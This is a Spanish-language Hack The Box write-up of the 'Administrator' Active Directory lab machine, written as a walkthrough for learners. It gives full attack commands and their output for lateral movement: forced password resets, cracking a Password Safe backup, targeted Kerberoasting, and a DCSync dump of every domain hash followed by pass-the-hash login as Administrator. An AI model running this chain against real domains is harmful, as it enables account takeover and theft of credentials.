Administrator HTB Writeup

Administrator HTB Writeup

Wed Apr 23 2025
1415 words · 11 minutes

Buenas Gente, en el blog post de hoy vamos a estar resolviendo la maquina Administrator de HTB la cual es una maquina AD de dificulta media.

Initial access

HTB nos da credenciales vaildas de el usuario Olivia, pero igual vamos a escanear puertos y demas para tener toda esta informacion a mano:

Nmap Scan

BASH
sudo nmap -sS -p- --open --min-rate 5000 10.10.11.42  -n -Pn

<SNIP> ...
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
59520/tcp open  unknown
59523/tcp open  unknown
59527/tcp open  unknown
59551/tcp open  unknown
59587/tcp open  unknown

Por aqui tambien un escaneo de versiones:

BASH
nmap -p21,53,88,135,139,389,445,464,593,636,3268,5985,9389,47001,49664,49666,49667,49668,59520,59523,59527,59551,59587 -sCV 10.10.11.42

<SNIP> ...
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-23 22:01:15Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
59520/tcp open  msrpc         Microsoft Windows RPC
59523/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
59527/tcp open  msrpc         Microsoft Windows RPC
59551/tcp open  msrpc         Microsoft Windows RPC
59587/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

<SNIP> ...

Enumerando Usuario Olivia

Ya con esto guardado, empezamos mirando que podemos encontrar con el usuario Olivia.

BASH
olivia:ichliebedich

Empezamos mirando en que lugares puedo usar estas crendenciales.

✅ SMB

BASH
netexec smb 10.10.11.42 -u olivia -p 'ichliebedich' --shares
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\olivia:ichliebedich
SMB         10.10.11.42     445    DC               [*] Enumerated shares
SMB         10.10.11.42     445    DC               Share           Permissions     Remark
SMB         10.10.11.42     445    DC               -----           -----------     ------
SMB         10.10.11.42     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.42     445    DC               C$                              Default share
SMB         10.10.11.42     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.42     445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.42     445    DC               SYSVOL          READ            Logon server share

✅ Winrm

BASH
netexec winrm 10.10.11.42 -u olivia -p 'ichliebedich'
WINRM       10.10.11.42     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM       10.10.11.42     5985   DC               [+] administrator.htb\olivia:ichliebedich (Pwn3d!)

Acabamos de ver que nos podemos conectar directamente a la maquina con estas credenciales asi que vamos a entrar para intentar extraer un poco de info.

BASH
evil-winrm -i 10.10.11.42 -u olivia -p 'ichliebedich'

tenemos varios usuarios:

POWERSHELL
*Evil-WinRM* PS C:\Users\olivia\Documents> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            alexander                benjamin
emily                    emma                     ethan
Guest                    krbtgt                   michael

Vamos a subirnos el sharphound para extraer todo la informacion del AD y verla en nuestro BloodHound Community

Me Gusta poner los archivos que subo a una maquina victima en un lugar espesifico, para luego borrarlos al terminar.

BASH
cd c:/windows/tasks

alt text

Recoleccion de Informacion - BloodHound

POWERSHELL
*Evil-WinRM* PS C:\windows\tasks> upload SharpHound.exe

Info: Uploading /tools/ADTools/SharpHound.exe to C:\windows\tasks\SharpHound.exe

Data: 1402196 bytes of 1402196 bytes copied

Info: Upload successful!
POWERSHELL
*Evil-WinRM* PS C:\windows\tasks> ./SharpHound.exe
POWERSHELL
*Evil-WinRM* PS C:\windows\tasks> download 20250423161843_BloodHound.zip

luego de extraer la data en un zip la subimos a nuestro bloodhound

alt text

Olivia -> Michael - Movimiento Lateral

Ubicamos nuestro usuario actual, y miramos si podemos hacer movimiento lateral a otros usuarios

alt text

Nos fijamos que Olivia Tiene GenericAll sobre michael, tambien el mismo bloodhound no sugiere algunas tecnicas que se pueden utilizar para abusar esto y una de ellas es forza el cambio de password de el user michael.

BASH
> net rpc password "michael" "mil@ne2022" -U "administrator.htb"/"olivia"%"ichliebedich" -S "dc.administrator.htb"

Este comando usa una llamada RPC sobre SMB (NetUserSetInfo) para cambiar la contraseña de otro usuario en el dominio. Aprovecha que olivia tiene permisos como GenericAll sobre michael, permitiéndole modificar sus atributos, incluida la contraseña. A bajo nivel, esto interactúa con el servicio SAMR en el DC usando NTLM para autenticarse y ejecutar el cambio.

Ahora que ya cambiamos la password podemos ver que podemos hacer con nuestro nuevo usuario michael:

BASH
> netexec winrm 10.10.11.42 -u michael -p 'mil@ne2022'
WINRM       10.10.11.42     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM       10.10.11.42     5985   DC               [+] administrator.htb\michael:mil@ne2022 (Pwn3d!)

Nitidoo, tenemos winrm con user michael, vamos a tratar de buscar info sobre este usuario en bloodhound.

alt text

Curiosamente, podemos forzar el cambio de contraseña de otro usuario.

Michael -> Benjamin - Movimiento Lateral Así que, usando el mismo comando con el usuario Michael como base, cambiamos la contraseña del nuevo usuario Benjamin.

BASH
net rpc password "benjamin" "mil@ne2023" -U "administrator.htb"/"michael"%"mil@ne2022" -S "dc.administrator.htb"

Luego de enumerar a benjamin:

BASH
netexec smb 10.10.11.42 -u benjamin -p 'mil@ne2023'                                                 
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\benjamin:mil@ne2023 

Observamos que el usuario no es miembro del grupo de acceso remoto.

Asi que probamos estas credenciales en otros servicios.

Find Backup.psafe3

BASH
> ftp 10.10.11.42

alt text

Encontramos un archivo en FTP interesante.

Al investigar un poco que es este archivo, podemos ver que es como un file de passwords, parecido a keepass:

alt text

Investigamos como crackear la password de este archivo y ver si contiene algo interesante:

alt text

Nos descargamos el file del ftp:

BASH
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||53422|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************************************|   952       13.88 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (13.65 KiB/s)

Crack Password - Backup.psafe3

Luego crackeamos la password:

BASH
hashcat -m 5200 -a 0 Backup.psafe3  /usr/share/wordlist/rockyou.txt

<SNIP> ...
Backup.psafe3:tekieromucho 
<SNIP> ...

Instalamos la app para poder abrir este archivo:

alt text

BASH
sudo apt install passwordsafe

Ahora abrimos el File con la app y colocamos nuestra password crackeada.

alt text

Encontramos Usuarios y Passwords Interesantes que podemos probar. alt text

BASH
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

Emily -> Ethan - Movimiento Lateral

Luego de probar varias cosas, descubrimos que emily tiene GenericWrite sobre ethan.

¿Qué significa GenericWrite?

El permiso GenericWrite en Active Directory permite modificar ciertos atributos del objeto destino, como:

  • scriptPath

  • logonScript

  • servicePrincipalName

entre otros…

Esto es importante porque puedes abusar este permiso para escalar privilegios o obtener acceso al usuario destino, en este caso: ETHAN.

alt text

Usamos la opcion que no das el bloodhound

Targeted Kerberoast

Targeted Kerberoast es una técnica que permite abusar del control sobre una cuenta en Active Directory para forzar una situación en la que se pueda realizar un ataque de Kerberoasting. Si el usuario no tiene un SPN configurado, se le puede agregar uno para volverlo vulnerable. Luego, se solicita un Ticket Granting Service (TGS) asociado a ese SPN, lo que permite obtener un hash que se puede crackear offline, generalmente con herramientas como hashcat o john.

alt text

El error se produce porque la hora de nuestro sistema no está sincronizada con la del controlador de dominio (DC). Es necesario ajustar el reloj del sistema para que coincidan.

BASH
sudo timedatectl set-timezone America/Santo_Domingo
BASH
> sudo ntpdate -b administrator.htb 

2025-04-24 03:20:56.163749 (-0400) -0.001283 +/- 0.030660 administrator.htb 10.10.11.42 s1 no-leap
CLOCK: time stepped by -0.001283
BASH
python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$9be57189ff1db0cfc9231b8c0174618a$bc01ecde9d0dfc8492a0442f709f5c20373e89abfaa25dee1a664ef57a47650b109d6991e6a7c4da6e59a81987ef2e3faf32fff4db9d0d211fe0a48e8126e5ed6e5fdc57f0660a5e4ebf6b150d49ef0de9a3f4f76f6a254bf4d07209f036125ff916b032ff0f6cc474eb95da8d9cac43f17f5cd7aef226c55e12013a2a0bc096440c1fa23e777b2c123c6f9f0a5e3a285e88f51037bf64959362d9993df9dd53920b2defe367e2012c9a277938cb46dad4a0eea8cf761154e0f3f91993f1f8189399a3a644b17631d5a7547e3a61f1fc493582b9532a24f7c6371f4967ebc140915cafd1d18573ab1b5b8a58d4ba8f1b15d4c2feb7eff78665122c6fc49d728ba637282cdfcc1a1ef25895d2ce87044befb3473376f769c9458a4e61d28408d2d2d3ec8fd3beac287732180886dbd2447dc54073206b9451519228d61577aeab01499deac46d3618430aca10aea4c006e19e81e7127fec52eca7f30c2b5376abd7041e7707f9619eaa6657d3b1fe80db7d8231e5e271387797d232577da42de3439f46af209ba689b0b920700dda9ac996f462ec7bd6f70a1dbf7b93baa127ed4f10a62b98e23f4a73f7418136c19c1802b9245c3d494c2299ede3b6e89aae28a973010dfd35bfd7e0346a0a01609a125358bc5f5a5d75b1ef02dfc99e816fb613d9694f64ee612c97d662b510e68e8cc56ec1f9a7230e2367debfa1250ea718e4bcd973ce4111c4a2637f0043da5dd9ea21faf466e1d82fa54dd4ceac457240793d96e77fb5af7bdc1f0115df472a5f27d6b9cf4c9767bae6254d89be73645d3e4a7c60faae8fd349e09b05176ef6440f174e7f86c623d6be3adaff2ff541150c810e7a962ac93c24fae047b96bbb87702b3f2d8fc2a60286fb77483c3475624611ce52024a0c97e8af157f45d0af504441f2f3d19e0387f674631e34568467cf98d0d9bcdd922b019a44df79f38f1604bc49bc0d3f388cfa7779fb8d3330af51f883a93f37d8b43b5c52371bb396feb3c78745c9dd677997ba7cae2ab82533ddc6493eccd79baf632adf0b5655944b5b12e4180c76f7ca1e1af19a487a4b3f3bdc12a5628ac12d9e7bbf10aa028182cd7a4834d98da2dad9c849b93324281af93f3ef91a4be48a1b912acad3e2b838e9aa6ca61a0ca118e851eaf8bb7fa1f2ae0b57dfbec8fd9d1d88f6d979b0aaaf16b20ab44e914efa37f625a76d862521768c4230803ad57f750672c33ab5a80e3957b6eda719b56f084f029d659904a03e997c5cb0b8a14d8f709699d3e9327c899e561fd9268221bb484400157d6feb22ce5cb9ac74c24e0c546e00d9eadfe9a6f9a735d9376c94eefa122161cbb0a0425c5de4f5a55d50e2964a862675fd53207868e075f542959fd246ebdd440fd13e2fd454772f48f124098921fa0e73a8223a5136c17c3bc855ccb716247b4f934be8107a2e77ba716dcfcff04c54c8598c9eaf702efa3e483b073e24a90018c4266ee4f1d2950907c529512a4d4c45a9aca39325d2702510be426b75d8bd53
[VERBOSE] SPN removed successfully for (ethan)

Ya tenemos el Hash.

alt text

BASH
hashcat -m 13100 hash /usr/share/wordlist/rockyou.txt --force  

$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$9be571<SNIP>:limpbizkit

ahora ya que tenemos credenciales de ethan, vamos a ver que podemos hacer con este usuario:

alt text

Pivilege Escalation

DCSync

con estos 3 permisos es posible DCSync

Un ataque DCSync permite a un usuario emular el comportamiento de un controlador de dominio y solicitar hashes de contraseñas usando el protocolo de replicación de AD (Directory Replication Service Remote Protocol - DRSR). Para hacerlo, se requieren permisos específicos en el objeto del dominio.

En este caso ethan puede ver cualquier hash de usuario del dominio.

BASH
> impacket-secretsdump -just-dc administrator.htb/ethan@10.10.11.42

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:8864a202387fccd97844b924072e1467:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:95687598bfb05cd32eaa2831e0ae6850:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:b360c36cb6777b8cc3d88ab1aa60f0064e6ea4fc9b9a4ebacf66345118c0e959
administrator.htb\michael:aes128-cts-hmac-sha1-96:bc3c8269d1a4a82dc55563519f16de8b
administrator.htb\michael:des-cbc-md5:43c2bc231598012a
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:a0bbafbc6a28ed32269e6a2cc2a0ccb35ac3d7314633815768f0518ebae6847f
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:426ca56d39fe628d47066fc3448b645e
administrator.htb\benjamin:des-cbc-md5:b6f84a864376a4ad
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a

Ya con todas las credenciales, solo nos queda iniciar session como administrator.

BASH
evil-winrm -i 10.10.11.42 -u administrator -H '3dc553ce4b9fd20bd016e098d2d2fd2e' 

Con esto tendriamos completa la maquina.


Thanks for reading!

Administrator HTB Writeup

Wed Apr 23 2025
1415 words · 11 minutes